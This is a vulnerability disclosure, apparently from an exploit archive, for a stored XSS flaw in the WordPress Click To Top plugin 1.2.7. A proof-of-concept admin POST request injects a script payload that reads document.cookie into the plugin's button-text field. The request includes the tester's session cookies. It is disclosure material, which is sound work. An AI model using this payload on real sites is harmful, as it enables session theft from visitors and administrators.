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WordPress Click To Top 1.2.7 Persistent Cross Site Scripting

WordPress Click To Top 1.2.7 Persistent Cross Site Scripting
Posted Aug 18, 2020
Authored by Melbin K Mathew

WordPress Click To Top plugin version 1.2.7 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 1b98dcba76d7ba8701e78ac0a3ec04fae93953fcb07a4df694c8e36a5611b1eb

WordPress Click To Top 1.2.7 Persistent Cross Site Scripting

Change Mirror Download
# Exploit Title: WordPress Click to top Plugin v1.2.7 - Persistent Cross-Site Scripting
# Date: 2020-08-18
# Vendor Homepage: http://wpthemespace.com/
# Vendor Changelog: https://wordpress.org/plugins/click-to-top/
# Exploit Author: Melbin K Mathew (@melbinkm)
# Author Advisory: https://melbin.in/2020/08/17/stored-xss-vulnerability-in-change-wordpress-click-to-top-plugin/
# Author Homepage: https://melbin.in
# Version: 1.2.7 and below

1. Description

The Click to top WordPress Plugin is used to include scroll to top feature in a WordPress blog. It was found to be vulnerable to a stored Cross-Site Scripting (XSS) vulnerability. The Type scroll text field in the plugin settings page was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads any page on the website. All WordPress websites using Click to top WordPress Plugin version 1.2.7 and below are affected.

2. Proof of Concept
POST /w/wp-admin/options.php HTTP/1.1
Host: 95.217.19.38
Content-Length: 722
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://95.217.19.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://95.217.19.38/w/wp-admin/options-general.php?page=click-to-top.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1597746976%7CBlobP8KWB7gDuqKN4SYfQexDQcLX5q74H4H2dnZzuRF%7Cb1aafc968a6212fc1ceba7657727836762d457f9b3fc1ac5d8f957c2aa46c16e; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1597746976%7CBlobP8KWB7gDuqKN4SYfQexDQcLX5q74H4H2dnZzuRF%7Cf7f732afdad727391089966b6f76603baec4a9f086a16fa81bc56fe71dfd59ef; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597574177
Connection: close

option_page=click_top_style&action=update&_wpnonce=2502676c1e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dclick-to-top.php&click_top_style%5Bbtn_style%5D=square&click_top_style%5Bhover_affect%5D=bubble-top&click_top_style%5Bbtn_type%5D=text&click_top_style%5Bselect_icon%5D=angle-double-up&click_top_style%5Bbtn_text%5D=Click+To+Top%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&click_top_style%5Bbg_color%5D=%23cccccc&click_top_style%5Bicon_color%5D=%23000000&click_top_style%5Bbg_hover_color%5D=%23555555&click_top_style%5Bhover_color%5D=%23ffffff&click_top_style%5Bscroll_opacity%5D=99&click_top_style%5Bscroll_padding%5D=5&click_top_style%5Bfont_size%5D=16&submit=Save+Changes
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